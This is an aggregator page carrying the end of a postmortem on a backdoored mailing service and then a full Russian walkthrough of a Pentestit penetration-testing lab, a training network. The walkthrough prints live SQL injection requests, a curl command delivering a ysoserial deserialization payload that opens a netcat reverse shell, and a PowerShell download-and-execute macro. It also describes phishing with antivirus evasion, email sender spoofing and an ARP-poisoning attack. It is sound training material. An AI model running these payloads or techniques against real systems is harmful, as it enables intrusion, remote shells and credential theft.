Первый вопрос, который возникает после прочтения всего вышенаписанного — как вообще удаленное выполнение команды удаления в БД стало возможным? Ответ сколь прост, столь и неприятен — бывший владелец сервиса оставил в коде «бэкдор», подложив скрипт, с помощью которого можно было получать доступ к базе и запускать команды (тот же drop table).



Как мы уже писали, проект оказался в ситуации акционерного конфликта, поэтому мы ожидали возможных атак и готовились к ним. Однако обнаружить все дыры безопасности просто не удалось — технический директор проекта вместе с разработчиками около четырех суток чистили код от потенциально уязвимых мест, но тот, кто этот код писал, все равно оказывался на шаг впереди. Именно поэтому уже после восстановления после ночной атаки на «Печкин» была произведена еще серия нападений, которые приводили к кратковременных падениям сервиса и отказу ряду его функций.



К каким изменениям это приведет



Для того, чтобы предовтратить повторение подобных проблем, мы укрепили оборону «Печкина». Однако даже сейчас гарантировать безопасность на 100% невозможно — все еще есть люди, которые знают код лучше текущей команды и хотят уничтожить проект. Поэтому старый «Печкин» вскоре прекратит свое существование, а на смену ему придет новый более стабильный и современный продукт.



Это произойдет уже в самое ближайшее время. Вряд ли процесс перехода будет легким — пользователи привыкли к старому интерфейсу и многим полезным функциям системы, такая революция вряд ли понравится всем. Тем не менее, мы убеждены, что главная задача сервиса рассылок — доставлять письма в инбокс подписчикам без сбоев и по расписанию. И чтобы гарантировать это, изменения необходимы.



Чему это нас научило: главные выводы



И в заключение, сформулируем советы, которые, возможно, помогут кому-то избежать наших проблем в будущем.




  • Покупать сервис у разработчика — плохая идея, а у плохого разработчика — очень плохая идея.

  • Структура базы данных должна быть такой, чтобы в случае повреждений ее можно было восстановить в течении двух часов, а не дней.

  • Проводить аудит кода, заказывать тестирование на проникновение (пентест) у профессиональных «белых хакеров» — это гораздо дешевле, чем восстанавливать подпорченную репутацию и терять клиентов.





Кроме того, перечислим несколько мыслей по оптимизации структуры базы данных:



Следует избавляться от неэффективного шардинга — шардинг имеет смысл, когда таблицы разносятся по разным инстансам БД, на разные сервера. Шардинг на уровне каждого пользователя, особенно при огромном количестве таблиц — за гранью добра и зла. Огромное количество небольших таблиц приводит к существенному перерасходу дискового пространства из-за высокой степени фрагментации мелких таблиц.

Объединение все в один набор таблиц даст выигрыш по диску от 1,5 до 2 раз. При этом не нужно бояться больших таблиц. Грамотная структура и использование ключей позволят сохранить высокую скорость работы.



Старые данные нужно выгружать в архив — стоит задуматься над сохранением устаревших данных в архивную БД. Это резко сократит размер базы, уменьшит потребление памяти и диска, ускорит работу mysql.



Стоит отказаться от инкрементальных бэкапов в пользу бинарных логов — в нашем случае двухнедельный инкрементальный бэкап занимал 400 гигабайт, в тоже время бинлоги за 2 недели имели объем в 20 гигабайт. Огромный размер бэкапа объяснялся в том числе и большим количеством таблиц. По нашему мнению, инкрементальный бэкап — это ненадежный, сложный в эксплуатации инструмент, не имеющий никаких достоинств перед обычными бинарными логами.



Важно сохранять mysqldump-файлы копий бэкапа — как и в случае бинлогов, преимущества таких дампов в надежности. Даже если файлы окажутся битыми, большой процент данных все равно можно будет восстановить. Сжатие же позволит хранить достаточное количество бэкапов, а с учетом архивной базы данных — еще больше. Это не отменяет использование xtrabackup, но mysqldump станет хорошим дополнением в арсенале инструментов резервного копирования.



На сегодня все, спасибо за внимание. Мы будем рады ответить на все вопросы в комментариях.
Original source: habrahabr.ru.

https://habrahabr.ru/post/303848/?utm_source=habrahabr&utm_medium=rss&utm_campaign=best

Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
rss_rss_hh_new

Пентест-лаборатория Pentestit — полное прохождение

Вторник, 21 Июня 2016 г. 15:33 (ссылка)





Компания Pentestit 20-го мая запустила новую, уже девятую лабораторию для проверки навыков практического тестирования на проникновение.



Лаборатория представляет собой корпоративную сеть, очень похожую на сеть настоящей организации. Благодаря лабораториям Pentestit можно всегда быть в курсе последних уязвимостей и попробовать себя в качестве настоящего пентестера, параллельно обучаясь у профессионалов — тех, кто каждый день занимается тестированием на проникновение в реальных сетях.



К 1-му июня лаборатория была пройдена — все 13 машин и 14 токенов были взяты. Теперь подошло время описать процесс прохождения лаборатории в полном объеме для всех, кто еще не успел пройти лабораторию, кто хотел бы узнать больше об актуальных уязвимостях, или глубже окунуться в мир тестирования на проникновение.



Сразу хочу отметить, что процесс прохождения лаборатории получился довольно трудоемким, а его описание — длинным, но, надеюсь, интересным. Начнем!



Disclaimer
Я не являюсь сотрудником или аффилированным лицом компании Pentestit. Этот документ описывает шаги, которые я предпринял, чтобы решить задания в лаборатории. Мои личные рекомендации и предпочтения никаким образом не относятся к официальному мнению компании Pentestit.



Вся информация в этом документе предоставлена исключительно в образовательных целях. Продолжая читать этот документ, вы соглашаетесь не использовать эту информацию в незаконных целях, и подтверждаете, что вы и только вы несете полную ответственность за свои действия или знания, полученные благодаря информации из этого документа. Автор этого документа и компания Pentestit не несут никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате прочтения данного документа.



Подключение к лаборатории



Прежде чем начать, нужно зарегистрироваться в лаборатории, настроить VPN-соединение и подключиться к сети виртуальной компании CyBear32C.



Зарегистрируйтесь здесь, и затем следуйте этим инструкциям для того, чтобы подключиться.



Для проведения тестирования можно установить в виртуальной машине Kali Linux — специальный дистрибутив Линукса для пентестеров, в котором есть все необходимое для работы. Если вы этого еще не сделали, теперь — самое время.



Начинаем тестирование



После регистрации и подключения мы видим следующую схему сети:





VPN-подключение остается за кадром, и после него мы получаем доступ к единственному внешнему IP компании CyBear32C — 192.168.101.8, который в реальной жизни был бы шлюзом в интернет. Начнем, как обычно, с enumeration и, в частности, со сканирования портов, чтобы определить какие сервисы из внутренних подсетей доступны снаружи.



Начнем с быстрого сканирования портов.







Как видим, нам доступен целый набор сервисов с разных внутренних машин (см. схему сети), включая, вероятнее всего, сервер mainsite (порт 80), сервер mail (25, 8100), ssh (порт 22) и другие. Кроме того, есть еще https ресурс и прокси сервер.



Изучаем MAINSITE



Начнем с того, чтобы зайти по адресу 192.168.101.8:







Нас автоматически редиректит на www.cybear32c.lab, посмотрим на это внимательнее:







Нам приходит заголовок Location: http://cybear32c.lab — виртуальный хост, по которому собственно и будет доступен сайт компании.







Добавляем нужный домен в /etc/hosts и пробуем еще раз:







Отлично, сайт поднялся, и можно его начать изучать. Попробуем понять, что это такое. Перед тем, как начать изучать сайт вручную, можно запустить утилиту whatweb, а затем dirb, которая поможет определить, какие есть поддиректории (можно воспользоваться и другими сканерами, например nikto):







Видим, что коды ответов на все запросы равны 403 — наверняка сайт защищен WAF-ом. Так как в браузере все работает, пробуем подставить User Agent и находим несколько интересных страниц:







Параллельно смотрим на сайт, видим, что это — Wordpress, защищенный WAF-ом. Заход на страницу /admin переводит нас на закрытый wp-login.php.







Для Wordpress сайтов есть великолепная утилита wpscan, которая позволяет проверить их на наличие плагинов с уязвимостями. Пробуем для начала посмотреть общую информацию по сайту, подставив нужный user agent. Он тут же находит несколько проблем, в том числе и уязвимый к SQL injection плагин wp-symposium v15.1.







Теперь пробуем проэксплуатировать каждую из приведенных уязвимостей с помощью эксплоитов по ссылкам. К сожалению, срабатывает WAF, и запросы с пэйлоадами на SQL не проходят. Попробуем его обойти…



Обход WAF



Часто многие Web Application Firewalls используют сигнатуры атак, которые можно обойти, немного изменив синтаксис: добавив конкатенацию или изменив регистр в запросе: vErSiOn вместо version, например. Обход WAF — отдельная серьезная тема, которой можно посвятить множество книг и статей.



К сожалению, эти варианты не сработали. Вспомним о прокси на порту 3128 и попробуем настроить браузер на работу через него.







Прокси запрашивает авторизацию:







Здесь нам пригодятся данные из графы Contact Us, которые мы видим на этом же сайте.



Создаем текстовый файл со словариком и двумя учетными записями: b.muncy и r.diaz и пробуем подобрать пароль:







Удачно! Теперь попробуем еще раз зайти на сайт через прокси и авторизоваться в нем. Результат в данном случае уже выглядит по-другому (сайт также доступен по внутреннему IP: 172.16.0.5, но другие внутренние сервисы все еще недоступны):







Сайт больше не говорит о неправомерных действиях — мы успешно обошли WAF.



Эксплуатация уязвимостей в Wordpress плагине



Теперь можно изучить сайт и потенциальные уязвимости внимательнее. Можно это делать и напрямую, но мне удобнее для этого использовать Burp Repeater. Для начала нужно настроить подключение через upstream proxy:







На вкладке User options добавляем Upstream Proxy Server, вводим полученные данные для нашего хоста, настраиваем браузер на Burp proxy и пробуем различные эксплоиты, найденные wpscan-ом.



Эта же возможность позволит использовать утилиты, которые не поддерживают авторизацию в прокси напрямую. Если такие понадобятся, достаточно будет указать в виде proxy 127.0.0.1:8080.



Попробовав несколько вариантов, видим, что срабатывает одна из SQL инъекций:



GET http://cybear32c.lab/wp-content/plugins/wp-symposium/get_album_item.php?size=version(); -- HTTP/1.1



Получаем номер версии MySQL:







Результат: 5.5.49-0+deb8u1.



Дело за малым — осталось эксплуатировать эту уязвимость с помощью sqlmap:







Так как в данном случае инъекция происходит в имя колонки (а не в значение, как обычно), важно указать суффикс после payload (' -- ') для того, чтобы sqlmap сконцентрировался именно на этом типе инъекции. Если этого не сделать, sqlmap может ошибочно определить тип инъекции как blind, и в таком случае вытягивать данные будет очень затруднительно и долго.



Получаем доступные базы с использованием опции --dbs:







Затем таблицы (-D tl9_mainsite --tables):







И осталось только получить данные из таблицы wp_token с помощью команды:









Токен BYPASS



Во время сканирования портов обнаружился, в том числе, и https ресурс на порту 443. Беглый анализ и утилита dirb ничего интересного не дали:







Ресурс доступен по https, при этом, видимо, в разработке и давно не обновлялся. Проверим нашумевшую в 2014-м уязвимость heartbleed:







Сервис уязвим! Для эксплуатации воспользуемся скриптом отсюда. После прочтения множества интересной информации и сотни попыток (главное не сдаваться раньше времени), находим кое-что интересное:







Кто-то зашел туда и скачал старый бэкап. Давайте и мы это сделаем:







Вот и токен, а вместе с ним несколько новых аккаунтов и хеши их паролей. Пробуем восстановить пароли из хешей (Apache apr1 хеш в hashcat идет под номером 1600):







Получаем уже известный из mainsite пароль b.muncy, а также остальные пароли других аккаунтов.



Очень полезно записывать все найденные учетные данные и пароли для того, чтобы в будущем иметь возможность проверять их, быстро изучая новую цель, т.к. пароли пользователей в корпоративной сети с высокой вероятностью будут повторяться от одного сервиса к другому.



Атакуем SSH



Несмотря на предыдущее замечание, к сожалению, ни один из найденных паролей пока что не подошел к почте (которая обычно дает очень неплохие результаты в продвижении вглубь корпоративной сети). Не беда, попробуем подключиться к SSH на порту 22 и попробовать там. Пробуем и видим следующую картину:







Довольно необычная ситуация для подключения по SSH: видимо, используется собственный модуль для аутентификации. Кроме того, обращаем внимание на то, что система запрашивает сначала “The password”, а потом еще и “Password”.



Пробуем все найденные учетные данные в разных комбинациях — безрезультатно.



Так как ни почта, ни SSH не принесли желаемых результатов, а других доступных сервисов больше не остается, видимо, мы что-то упустили. SSH важен еще и тем, что мы получим доступ внутрь корпоративной сети и сможем продвинуться дальше, поэтому нам интересно сконцентрироваться на нем.



Пробуем еще раз и видим автора скрипта: Pam © krakenwaffe — не похоже на что-то стандартное.

Ищем это в Google и вскоре находим аккаунт разработчика krakenwaffe на Github, который к тому же работает в компании cybear32c — интересно!







Изучив contributions некого Девида, видим единственный файл: mypam.c, расположенный здесь: github.com/krakenwaffe/eyelog/blob/master/mypam.c. После беглого анализа кода становится понятно, что это именно тот модуль, в котором мы пытаемся авторизоваться, и который запрашивает у нас “The password”.







Под рутом зайти не получится, смотрим, что дальше… Внимание привлекает следующий участок:







Видим, что введенный пароль проходит сравнение с daypass<день><час>. Пробуем подставить текущее значение, а именно “daypass80” на момент написания этой части документа:







Все равно не срабатывает. Тогда вспоминаем, как зовут нашего разработчика, который поделился с нами паролем через Github — David Nash. Пробуем зайти под d.nash:







Получилось! Мы зашли на SSH сервер. Посмотрим, что есть вокруг:







Помимо токена в папке .ssh также находим и приватный ключ для подключения к другим серверам (к каким — можно узнать, поработав с файлом known_hosts) — наверняка пригодится в дальнейшем!



Теперь мы получаем плацдарм для следующих атак, и перед нами открывается вся корпоративная сеть компании CyBear32C.



Следующие шаги



После взятия SSH можно выходить на все остальные компьютеры в сети. С какого начать? В первую очередь стоит просканировать все три подсети с помощью nmap, любезно предоставленного нам прямо на сервере SSH, и изучить доступные сервисы.



На данном этапе практически все внутренние ресурсы, за исключением Windows-машин и сервера dev, будут доступны для атаки — можно пробрасывать порты и пробовать.



Проброс портов



Для обеспечения удобного доступа к внутренней сети через вновь появившееся SSH подключение есть целое множество способов.



В первую очередь рекомендую изучить статью «Pivoting или проброс портов».



Кроме того полезно знать интересную возможность стандартного SSH клиента: проброс портов без перезапуска сессии и добавления параметров в командную строку.



Для этого достаточно нажать комбинацию клавиш Shift+~+C и перейти в командный режим работы:







После ввода нужной команды, мы получим доступ к 80-му порту сервера 192.168.0.6 (photo) через порт 8086 на 127.0.0.1:







Photo-hosting и загрузка файлов



Сервер фото встречает нас формой для загрузки файлов и ничего больше, наверняка в ней и есть уязвимость.



С точки зрения разработчика сделать upload файлов безопасным очень сложно — векторов атаки на него может быть очень много: это или неработающая валидация по расширению файла, его MIME-типу, или уязвимость в библиотеке, которая обрабатывает файл, или race condition, или любая из множества других проблем.



Для начала посмотрим, на чем написан сайт:







И заодно запустим dirb, чтобы посмотреть какие скрытые директории есть на веб-сервере.







Директория upload доступна прямо на сервере, попробуем загрузить безобидную картинку и убедимся, что файлы сохраняются именно в эту папку:







Так и есть, google.png доступен. Обращаем внимание, что сайт показывает размеры картинки, видимо есть какой-то анализ. Пробуем загрузить PHP файл:







Изменить MIME-тип и расширение не помогает:







Интересно, это дает нам сразу две подсказки: во-первых, файл, возможно, сначала загружается, а затем удаляется, и его можно успеть дернуть, и, во-вторых, мы еще раз убеждаемся, что проверка на то, что это картинка присутствует (видимо, с помощью getimagesize(), которую можно обмануть, добавив, например, GIF заголовок). Пробуем еще раз с таким файлом file.jpg:







Файл загрузился успешно и даже доступен:







Но, к сожалению, не выполняется. Пробуем загрузить этот файл с разными расширениями, раз php не срабатывает: .htaccess, .php5, .phtml и .pht — последний вариант работает! Он тоже выполняется:







Теперь нужно получить шелл. Для этого слушаем с помощью nc на сервере SSH, и обращаемся к файлу:









И удачно получаем коннект:







Прямо в папке upload можно найти токен в скрытой поддиректории:







Кстати, ради интереса можно изучить и исходники:







Видим, что файл сначала сохраняется в папку, а затем только проверяется, то есть кроме эксплуатированной нами уязвимости есть еще и race condition.



Кроме токена и этого кода на сервере ничего интересного не обнаруживаем и продолжаем дальше!



Изучаем FTP



Просканировав с помощью nmap сервер 172.16.0.4, находим открытый 21-й порт (ftp) и 22-й порт (ssh). Естественно, вход с нашим ssh ключиком не срабатывает, поэтому сконцентрируемся на самом FTP.







ProFTPD 1.3.5 имеет известную уязвимость, связанную с копированием файлов без аутентификации, которую можно проэксплуатировать через веб-сервер — копируем в /var/www, например, /etc/passwd, и мы уже немного ближе к цели.



Проблема в том, что веб сервер на этой машине не запущен… Попробуем подключиться к ftp серверу:







Анонимный вход доступен, и в папке dist находим исходники сервера. Интересно, наверняка их выложили не просто так, попробуем их поизучать. Скачиваем и распаковываем архив proftpd-dfsg-1.3.5.tar.bz2 с помощью ftp-клиента (команды lcd и get) и пробуем поискать изменения в коде. Начнем с поиска подстроки CYBEAR, и тут же находим файл src/help.c:







Похожий backdoor был встроен в версию 1.3.3с во время атаки на ProFTPD.



Попробуем воспользоваться предоставленным бекдором!







Ну и в папке /home находим целый набор интересных файлов:







Кроме токена в папке “old” мы находим:


  • новую учетную запись m.barry,

  • тестовый скрипт в папке m.barry/upload/test_scripts,

  • конфигурационный файл роутера cisco c паролями,


  • файл trouble.cap с паролем m.barry и указанием на то, что сервер dev скачивает все питоновские скрипты из папки test_scripts c FTP и, возможно, запускает их.




К сожалению, просто так подложить файл в test_scripts нельзя — недостаточно прав, поэтому придется продвигаться дальше и искать другой способ атаки на dev сервер.



Cамый быстрый токен — CISCO



Попробуем воспользоваться найденной информацией и начнем с cisco — пароль у нас уже есть. Вспоминаем IP по схеме сети и пробуем зайти:







Сразу же получаем токен! Теперь попробуем сбрутить хеш для enable 3:







Находим пароль, пробуем его и получаем привилегированный режим:







Все готово. Конфигурационный файл роутера разрешает делать мониторинг трафика:







С помощью этих команд можно поизучать трафик, идущий через эту подсеть (а именно — portal).



Как оказалось, есть возможности пройти лабораторию разными способами, и лично мне мониторинг трафика не понадобился. Поэтому я предлагаю оставить эту часть на самостоятельную проработку и продвинуться дальше.



NAS и незащищенные бэкапы



Продолжая изучать разные подсети, натыкаемся на сервер NAS:







Открытый порт 3260 намекает на возможность подключения к iscsi. Если вы следили за новостями в области ИБ, то наверняка слышали о взломе итальянской компании Hacking Team, которая в данном случае стала прообразом CyBear32c. В сети можно найти writeup о том, как происходила атака, из которого можно почерпнуть много интересного.



Начнем с проброса порта на локальную машину:







Устанавливаем iscsiadm и пробуем подключиться:







Пробуем подключиться, не получается.







Включаем debug mode и видим, что iscsiadm пытается подключиться к 192.168.0.3, которого в данном случае нет в нашей подсети.



Попробуем альтернативный вариант проброса портов и воспользуемся sshuttle. Так мы получим доступ к серверам по их настоящим IP адресам без необходимости пробрасывать каждый порт по отдельности. Подключаемся:







Удалось подключиться! Теперь изучим содержимое появившегося диска:







Теперь нужно подключить и этот vmdk:







Он начинается на диске по смещению 63 * 512 байт, а именно 32,256:







После этого Kali автоматически определяет присутствующий диск и предлагает посмотреть содержимое:







Есть! В поисках интересного находим пользователя token_nas_token, но в файловой системе напрямую ничего нет. Копируем базы реестра из WINDOWS\system32\config к себе и пробуем посмотреть сохраненные хеши паролей:







Чтобы долго не перебирать хеши локально, воспользуемся сервисом rainbowtables.it64.com. Можно сделать это и у себя, но с помощью сервиса будет быстрее.



Вносим существующие LM-хеши (первый хеш из дампа в каждой строке) и смотрим на результат. LM-хеширование приводит пароли к верхнему регистру, поэтому после получения результата нам нужно будет восстановить правильный регистр с помощью NTLM-хеша.



Все хеши и соответствующие им пароли найдены в базе. Сохраним их (в верхнем регистре) в отдельный файлик и воспользуемся john-ом c опцией -rules=NT, чтобы найти правильные пароли:







И получаем пароли c помощью опции -show:







Пароль от token_nas_token содержит токен к заданию! И мы получили новые учетные данные для d.rector. Продолжим!



Terminal2



Как уже обсуждалось выше, пароли, найденные в одном месте, могут подойти в другом. В данном случае, просканировав порты сервера terminal2, мы видим открытый RDP:







Попробуем подключиться, используя учетные данные d.rector из NAS:







Токен находится прямо на рабочем столе!



DEV и MITM



С получением доступа в локальную подсеть 192.168.3/24 у нас открываются новые возможности для атаки. Вспомним схему сети и заодно файл trouble.cap, найденный на FTP сервере:







Очевидно, dev сервер обращается к FTP, скачивает оттуда все *.py файлы из папки test_scripts, как видно в trouble.cap, и, вероятнее всего, выполняет их. Доступ в эту папку на FTP сервере можно получить только от root.



Теперь, когда в нашем распоряжении сервер terminal, на котором удобно расположен Intercepter-NG, мы можем легко организовать MITM атаку. Попробуем!



Включаем Intercepter-NG из папки C:\Intercepter-NG. Первым делом нужно просканировать локальную сеть. Нажимаем правой кнопкой на пустом месте в таблице, ставим на всякий случай побольше ARP Scan Timeout и запускаем Smart Scan.



Intercepter при этом рассылает ARP запросы в своей подсети, чтобы определить существующие в ней хосты, а затем пробует определить, какая на каждом из них установлена ОС.







Отлично, определились два хоста:







Stealth IP — это несуществующий IP адрес, который используется Intercepter-ом для осуществления MITM-атаки.



Так как клиент и сервер находятся в разных подсетях, они будут общаться друг с другом через шлюз; добавляем 3.3 в NAT, а 3.254 как шлюз.







Параллельно нужно создать папочку на ftp сервере, в которую будет заходить dev, вместо папки upload. В названии должно быть столько же символов, сколько и в “upload”, так как Intercepter-NG может делать замену в трафике только для строк одинаковой длины.







В скрипт test.py, конечно, разместим полезную нагрузку — реверс шелл на 172.16.0.2 на порт 6666:







Настраиваем Intercepter:







Traffic changer будет заменять upload на .uploa и, соответственно, когда m.barry сделает CWD upload, он попадет в нашу директорию .uploa и оттуда уже скачает наш скрипт, который и создаст нам reverse shell.



Включаем слушающую часть на SSH:







И включаем Incercepter нажатием трех кнопок: сначала общий sniff-инг справа вверху, затем NAT и затем ARP poison.







Через минуту получаем шелл:







А заодно и токен сервера dev:







“Tragick” SITE-TEST



Теперь обратим свое внимание на сервер site-test. Как обычно в web задачах лаборатории, попробуем запустить whatweb и dirb, чтобы узнать, что есть на сервере.







Сайт написан на PHP фреймворке laravel, который активно поддерживается. Кроме того, включены детальные логи ошибок:







Отсюда часто можно выудить информацию о внутренних путях на сервере, которая потом может пригодиться, например, при SQL инъекции. Но в данном случае это нам не сильно помогает…



dirb быстро начинает находить следующие доступные URLs:







Безуспешно попробовав все учетные данные, которые уже были собраны за время прохождения лаборатории в админке, переключаемся на форму аплоада фотографии, тоже представленную на сайте, если по нему просто походить и нажать JOIN US:







Снова загрузка картинок, но теперь не удается найти, где эти картинки складываются (хотя папка /upload тоже через какое-то время обнаруживается утилитой dirb — но файлы в ней не доступны по исходным именам).



Попробуем уязвимость в ImageMagick, которая получила название ImageTragick.



Конструируем файл для загрузки:







И включаем nc на порт 1234 на сервере SSH. Заполняем форму и загружаем файл oops.jpg c текстовым содержимым, показанным сверху.







Вот и коннект! В корневой папке (cd /) видим token.txt:







Открываем PORTAL



Попробуем изучить сервер portal. Начнем со сканирования портов.







Обнаружился порт 8080, зайдя на который мы, собственно, и увидим портал:







Пробуем разные пароли из тех, что были найдены ранее. Подходит, например, логин t.smith с его паролем. Пароли можно было переиспользовать уже два раза — на terminal2 и здесь.

Получаем страницу отпусков и новые учетные данные:







Пробуем зайти или подобрать пароль к логину a.petrov — безуспешно. Затем обращаем внимание на куки:







Выглядит как base64, декодируем:







Это Java объект, в котором хранится имя пользователя и хеш его пароля в виде md5. Пробуем «подсунуть» имя a.petrov — не срабатывает.



Раз объект приезжает на клиент и затем восстанавливается на сервере, попробуем копнуть в этом направлении.



Во время восстановления объекта из строки base64 в бинарный формат и затем в память (десериализации) есть недавно продемонстрированная возможность выполнения произвольного кода. Такая уязвимость была, например, в Jenkins. Для эксплуатации пробуем использовать утилиту ysoserial.



После прочтения инструкции становится понятно, что есть возможность выполнить произвольную команду на сервере, используя утилиту. Она генерирует Java-объект, который потом во время десериализации выполнит

нужную нам команду (а именно reverse shell, в нашем случае).



Пишем небольшую команду для удобной отправки содержимого, генерируемого ysoserial в виде base64-куки на bash:



curl -b 'userInfo="'$(java -jar ysoserial-0.0.4-all.jar CommonsCollections1 'nc -e /bin/sh 172.16.0.2 1235' | base64 | tr -d '\n')'"' ‘http://192.168.1.2:8080/index.jsp'



Возникает ошибка при выполнении:







Находим эту же проблему прямо на гитхабе разработчика.



Она уже исправлена в репозитории, но еще не собрана в release. Клонируем новую версию с github, устанавливаем maven и собираем ее локально:



apt-get install maven

git clone https://github.com/frohoff/ysoserial.git

mvn compile package



Получаем нужный нам файл!







Обновляем команду на новый payload Commons-Collections5:



curl -b 'userInfo="'$(java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 'nc -e /bin/sh 172.16.0.2 1235' | base64 | tr -d '\n')'"' 'http://192.168.1.2:8080/index.jsp'



На сервере ssh как обычно запускаем netcat, который слушает на порту 1235, запускаем на выполнение и:







Долгожданный шелл. Находим token.txt в корневой папке:







И еще один токен поддался!



Поизучав немного портал, находим кое-что интересное в crontab:







Скрипт проверки почты! Посмотрим, что в нем.







Имя и пароль b.muncy в почту! Вот мы и подобрались вплотную к заданию mail.



Roundcube Mail



В лаборатории используется сервер Roundcube, в котором было много уязвимостей, но в данной версии все известные уже исправлены.



Попробуем с другой стороны. Заходим в почту с паролем от b.muncy:







Почтовый ящик пустой. Но, так как на портале был робот, автоматически проверяющий почту, попробуем отослать сообщения другим аккаунтам, которые мы уже узнали.



Один из них — r.diaz — отвечает на письма! Пробуем отправить ему что-то еще.







И получаем ответ:







После общения с ботом становится понятно, что нужно применять social engineering. Пробуем отсылать боту разные файлы: PDF, Word-документы и так далее. И вот, на одну из таких отправок бот реагирует!







Если отправить в аттачменте Word-документ, он выдает токен и сообщение о том, что такого рода файлы можно открывать, только если они приходят от r.lampman-a. Попробуем это сделать!



Terminal



На сервере terminal закрыт порт 3389 для rdp, а в оставшихся нет ничего интересного. Где, как ни там, спрятался r.diaz и открывает Word-документы!



Я сделал предположение, что на сервере terminal установлен Microsoft Security Essentials, как это было и на сервере terminal2, и локально установил Windows с таким же антивирусом, чтобы потестировать на месте прежде, чем отправлять документ.



Атака, в данном случае, получается многоступенчатая. Чтобы получить сессию на terminal, нам нужно:


  • научиться отправлять письма r.diaz-у от r.lampman (его пароля к почте у нас нет),

  • сформировать документ с reverse shell payload,

  • обойти антивирус Microsoft Security Essentials,

  • включить listener на своем компьютере на порту 443 (только 80 и 443 открыты изнутри сети).



Отправка писем



Попробуем написать скрипт, который будет автоматически отправлять письма r.diaz-у от имени r.lampman с использованием пароля b.muncy.



Для этого будем подставлять нужный адрес в поле FROM:







Здесь важно несколько вещей:


  • заменить значение поле FROM на нужное,

  • подставить правильный MIME-тип, чтобы было понятно, что отправляется именно Word-документ

  • не забыть закодировать документ в base64, чтобы он не испортился при передаче,

  • пробросить порт 587 с 172.16.0.1 на локальную машину:






Формируем payload



Теперь нужно создать Word-документ, который не определяется антивирусами как зараженный. После множества неудачных попыток (удобно тестировать в своей среде перед настоящей атакой), получилось выработать рабочий вариант.



Не будем весь payload сохранять сразу в документ, а сделаем так, чтобы он скачивал его с нашего сервера. Для этого сделаем следующее:



1. Используем setoolkit для создания payload:







Выбираем опцию 1 (Social-Engineering Attacks), затем 9 (Powershell Attack Vectors) и затем 1 (Powershell Alphanumeric Shellcode Injector):







Запускаем на локальной машине веб сервер и копируем полученный payload из /root/.set/reports/powershell в /var/www/html/payload.txt:







Проверяем, что файл доступен:







2. Формируем документ

Я использовал этот вариант запуска, описанный в этой статье.



Как показано, нам нужно обфусцировать команду загрузки payload:

powershell.exe "IEX ((new-object net.webclient).downloadstring('http:///payload.txt'))"



Чтобы это сделать, можно использовать Java-апплет из статьи, доступный здесь. Запускаем:







Вводим:

powershell.exe "IEX ((new-object net.webclient).downloadstring('http:///payload.txt'))"



Получаем результат и вставляем в документ. Я добавил еще Document_Open() на всякий случай.







При добавлении макроса важно сохранить его именно в документ, а не в шаблон Normal.



Сохраняем документ с расширением docm, кладем в папочку со скриптом senddoc.py, и теперь остался последний шаг.



3. Запускаем Metasploit







Перед запуском еще раз проходимся по небольшому «чеклисту»:


  • payload доступен по адресу your_ip/payload.txt,

  • порт 587 с 172.16.0.1 проброшен на локальный 127.0.0.1,

  • документ находится в папке вместе со скриптом для отправки почты.



Запускаем!







И через минуту:







Идем в C:\Users\r.diaz\Desktop и получаем токен!







SSH-TEST — последний барьер



Остается последний сервер, на который пока что мы не нашли никаких зацепок в сети. Просканировав все его порты, определяем, что ни один из них не отвечает.



При этом все, кроме трех, отвечают нам RST пакетами (закрыты), а 3 — просто отбрасывают все приходящие на них пакеты.







Это наводит на мысль о том, что в эти порты нужно «постучать» в надежде на то, что порт 22 (ssh) откроется при правильной комбинации на мгновение, за которое мы успеем к нему подключиться.



Кстати, на сервере ssh мы в самом начале прохождения нашли ключ в папке .ssh у пользователя d.nash:







Наверняка он нам здесь пригодится. Итак, для того, чтобы стучать в нужный порт, делаем следующее:



Запускаем sshuttle, чтобы ходить к серверу напрямую:







Удобно указать нужную подсеть, чтобы остался доступ в Интернет.

Копируем ключ d.nash id_rsa себе на диск:







Устанавливаем утилиту knock, которой будем стучать в нужные порты:







Пробуем 6 комбинаций этих трех портов, и одна из них срабатывает!







Вот и последний токен! Лаборатория пройдена.



Послесловие



Этот документ описывает всего лишь один из способов прохождения лаборатории. Уверен, что вариантов очень много. Если вы знаете какой-то интересный способ решения той или иной задачи, о котором я здесь не упомянул, буду рад узнать о нем в комментариях.



Надеюсь, что эта статья поможет тем, кто еще не занимался пентестом, окунуться в мир информационной безопасности и попробовать себя в настоящем практическом тестировании.



Лаборатория будет доступна до ноября, поэтому времени на обучение будет достаточно, а этот writeup поможет начать. Не сдавайтесь в процессе, и, как говорится: Try Harder.



Удачи!
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/303700/

Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество

Следующие 30  »

<информационная безопасность - Самое интересное в блогах

Страницы: [1] 2 3 ..
.. 10

LiveInternet.Ru Ссылки: на главную|почта|знакомства|одноклассники|фото|открытки|тесты|чат
О проекте: помощь|контакты|разместить рекламу|версия для pda